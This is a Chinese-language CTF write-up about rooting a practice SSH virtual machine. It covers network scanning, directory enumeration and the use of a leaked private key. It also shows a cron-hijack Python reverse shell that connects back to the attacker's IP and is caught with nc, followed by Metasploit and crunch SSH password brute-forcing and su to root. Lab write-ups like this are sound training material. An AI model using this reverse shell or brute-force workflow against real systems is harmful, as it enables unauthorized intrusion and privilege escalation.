CTF训练笔记(二)- SSH渗透root主机

CTF训练笔记系列 - 快速导航



一、环境搭建

1.攻击机

VMware环境下的kali linux虚拟机(本次渗透测试使用kali-linux-2020.4-vmware-amd64版本,初始用户名、密码均为:kali)

2.靶机

VirtualBox环境下的SSH-渗透root主机.ova虚拟机(链接: https://pan.baidu.com/s/1dM4FKImp_aN5k1yU29hlxg 提取码: sok8)

3.网络配置

攻击机与靶机桥接于同一网卡上,便于查找靶机ip地址。【同笔记(一)】

二、信息收集

获取靶机ip
在攻击机的终端中使用“ifconfig”指令获取攻击机的网络地址(此时靶机也在同一网段,因为刚才桥接在了同一网卡上),

ifconfig

利用得到的ip地址与子网掩码可构造网段:192.168.2.0/24作为参数,使用netdiscover工具搜索同一网段内所有主机(若主机较多则等待时间可能较长),

netdiscover -r 192.168.2.0/24

在这里插入图片描述
结果如下,其中"PCS Systemtechnik GmbH"一行即为靶机信息,靶机ip为192.168.2.120。
在这里插入图片描述

三、信息探测

1.挖掘开放服务信息

使用sudo指令登录root权限(需输入密码:kali)

sudo -s

使用nmap工具扫描靶机所有开放端口

nmap -sV 192.168.2.120

在这里插入图片描述
Ⅰ.发现靶机开放了22端口的ssh服务,于是想到:
①是否有私钥泄露?
②能否找到私钥的用户名?
③束手无策时考虑暴力破解密码;

Ⅱ.发现靶机开放了80端口的http服务,于是想到:
①尝试直接用浏览器访问靶机开放了http服务的端口;
②使用dirb工具探测http的目录;

Ⅲ.发现无特殊端口(1025 - 65535)开放。

2.挖掘隐藏敏感信息

2.1直接访问http服务:

浏览器访问http://192.168.2.120:80,得:
在这里插入图片描述
Ⅰ.出现了一些人名,考虑可能是ssh服务的用户名;
Ⅱ.源代码无明显有效信息。

2.2寻找隐藏起来的后台文件:

使用dirb工具探测此服务的隐藏文件

dirb http://192.168.2.120:80/

在这里插入图片描述
在这里插入图片描述
???

这信息量这么大我找flag要找到什么时候去啊?但硬着头皮从头开始仔细阅读才发现:

哦,原来最上层只有三个文件和三个目录,看着吓人的一大堆都是manual目录里的内容,而Apache在manual目录中保存的是Apache服务器的帮助手册文件,这里有flag的可能性较低可以先不去考虑。

Ⅰ.先看看三个文件:
其中index.html就是刚刚看到的网页主界面;而server-status文件既没有权限访问,拒绝界面源代码也没有明显有效信息;但敏感文件robots.txt文件中出现了没有被探测到的文件“/wordpress-blog”,
在这里插入图片描述
尝试访问192.168.2.120/wordpress-blog,得:
在这里插入图片描述
emmmm…页面和源码好像都没啥用。

Ⅱ.再看看三个目录里有啥:
/file中页面和源码无明显有效信息;
/manual中内容过多,若别的地方都没有可用信息再来看;
/icons中以各种图标文件为主,非图标文件有三个,其中README与README.html两个文件中无明显有效信息,
在这里插入图片描述
但最后一个奇怪名字的txt文件很可能是ssh的私钥信息,并且无需解密可以直接使用(若需要,则使用ssh2john工具先解密再使用,详见笔记一)。
在这里插入图片描述

3.尝试登录服务器

3.1使用wget工具下载刚找到的私钥文件

wget "http://192.168.2.120/icons/VDSoyuAXiO.txt"

在这里插入图片描述

3.2预处理私钥文件

重命名为id_rsa(方便打字),修改为600权限(否则私钥不生效,会要求输入密码)

mv VDSoyuAXiO.txt id_rsa
chmod 600 id_rsa

3.3尝试登录服务器

刚才访问的网页主界面出现过3个人名,
Ⅰ.试用jimmy用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录;
在这里插入图片描述
Ⅱ.试用hadi用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录;
在这里插入图片描述
Ⅱ.试用martin用户名,发现确实存在该用户名,私钥id_rsa生效,密码为空,可以登录。
在这里插入图片描述

4.提权

使用id指令判断当前用户是否具有root权限(一般情况下,flag文件只允许root用户及其对应的用户组访问),

id

发现当前使用的martin用户不具有root权限,需要提权。
在这里插入图片描述
【注】:
root用户返回结果应当如下(三个数全为0):
在这里插入图片描述
一些linux基础知识
使用crontab指令可用来定期执行程序,在/etc/crontab文件中存放用户的定时计划。
Ⅰ.如果在/etc/crontab文件中有某个用户的定时计划但具体目录中没有对应的可执行文件,则攻击者可以自行创建该可执行文件并在其中加入自己的恶意代码,该行为可创建反弹shell使得靶机主动向攻击机发起会话请求,攻击机通过监听相应端口可以get到靶机的shell进而获取root权限;
Ⅱ.如果在/etc/crontab文件中有某个用户的定时计划且具体目录中存在对应的可执行文件,则攻击者可以尝试能否访问并添加恶意代码以创建反弹shell。

使用cat指令访问crontab文件查看定时任务

cat /etc/crontab

在这里插入图片描述
发现jimmy用户设定每隔5分钟执行一次tmp目录下的sekurity.py文件,但实际上在tmp目录中并未发现该文件,因而可以自行创建该文件并添加恶意代码。

cd /tmp && ls

在这里插入图片描述
在kali linux上使用vim工具编写脚本文件

//使用vim工具创建名为sekurity.py的文件
vim sekurity.py

//此时处于命令模式,按下“i”键进入编辑模式
#脚本内容:
#!/usr/bin/python
import os,socket,subprocess

s=socket.socket()
s.connect(("192.168.2.248",60000))   #攻击机IP,攻击机监听端口(任意空闲端口)

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])
//按“ESC”键返回命令模式,输入 冒号、w、q,回车(用于保存并退出vim工具)
:wq

使用rsync指令无密码传输文件
通过私钥id_rsa可绕过密码将攻击者的恶意代码文件上传至靶机,还要在靶机上给代码文件增加可执行权限否则文件可能无法被执行。

rsync -e "ssh -i /home/kali/Desktop/id_rsa" /home/kali/Desktop/sekurity.py martin@192.168.2.120:/tmp/
chmod +x sekurity.py

使用nc指令让攻击机监听对应端口,等待靶机发来的请求

nc -lvp 60000

开始监听:
在这里插入图片描述
得到shell:
在这里插入图片描述
且此shell用户为jimmy,但jimmy依然不是root用户,需要继续深入挖掘。

暴力破解root用户的密码
万不得已的情况下,可以考虑暴力破解用户名和密码。常用暴破工具有hydra、medusa、metasploit等,但破解能否成功更重要的是看加载的密码字典是否强大,常用的字典生成工具有cupp、cewl等。
下面以cuppmetasploit为例。
Ⅰ.
kali linux中并未集成cupp工具,需要主动下载。
可以使用git指令下载cupp工具,并赋予cupp.py文件可执行权限,随后可以开始以交互的方式创建字典

git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py

// "./"表示当前目录,"../"表示父目录,既可以用./也可用python执行.py文件
./cupp.py -i

在这里插入图片描述
已知三个用户,其中两个无root权限,于是尝试暴力破解hadi用户的密码:

Name:hadi
(其余选项直接回车跳过)
Do you want to add some random numbers at the end of words? Y/[N] Y
(其余选项直接回车跳过)

生成好的字典文件存放在/common-password目录下。

Ⅱ.

//在终端中打开metasplooit工具
msfconsole

//选择模式,设置参数
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.2.120    //靶机ip
set username hadi           //用户名
set pass_file /home/kali/Downloads/common-password/hadi.txt    //加载密码字典文件
set threads 10              //线程数量
set verbose true            //实时反馈

//运行
run

在这里插入图片描述
暴力破解的过程相当漫长而且成功率与字典强相关。

Ⅲ.
暴力破解结束,cupp工具生成的字典中并没有正确密码。于是经过烦死人的、掉光头发的多次尝试生成各种字典文件,终于“碰巧”成功使用crunch工具生成了包含正确密码的字典:

crunch 7 7 -t hadi%%% >>pass_2.txt

在这里插入图片描述
此时metasploit显示如下:
在这里插入图片描述
得知hadi用户的密码为hadi123。

拿到具有root权限的shell
建立会话1用于访问靶机中hadi用户的shell:

sessions -i 1

结果:
在这里插入图片描述
但此时界面与通常的命令行格式有所不同,很不习惯,也不利于回顾之前的操作,于是需要优化会话

python -c "import pty; pty.spawn('/bin/bash')"

结果:
在这里插入图片描述
使用su命令得到root权限(需要输入密码:hadi123):

su - root

结果:
在这里插入图片描述
成功获取root权限!

5.获取flag

一般情况下,ctf比赛中flag文件在root目录下。
在这里插入图片描述
打开flag.txt文件:
在这里插入图片描述
成功获取到flag!


四、总结

在对SSH服务的渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶机,偶尔可能还需要暴力破解密码。

CTF中要特别注意:
/tmp 数据缓存目录
/etc/crontab 定时任务文件

  • 7
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值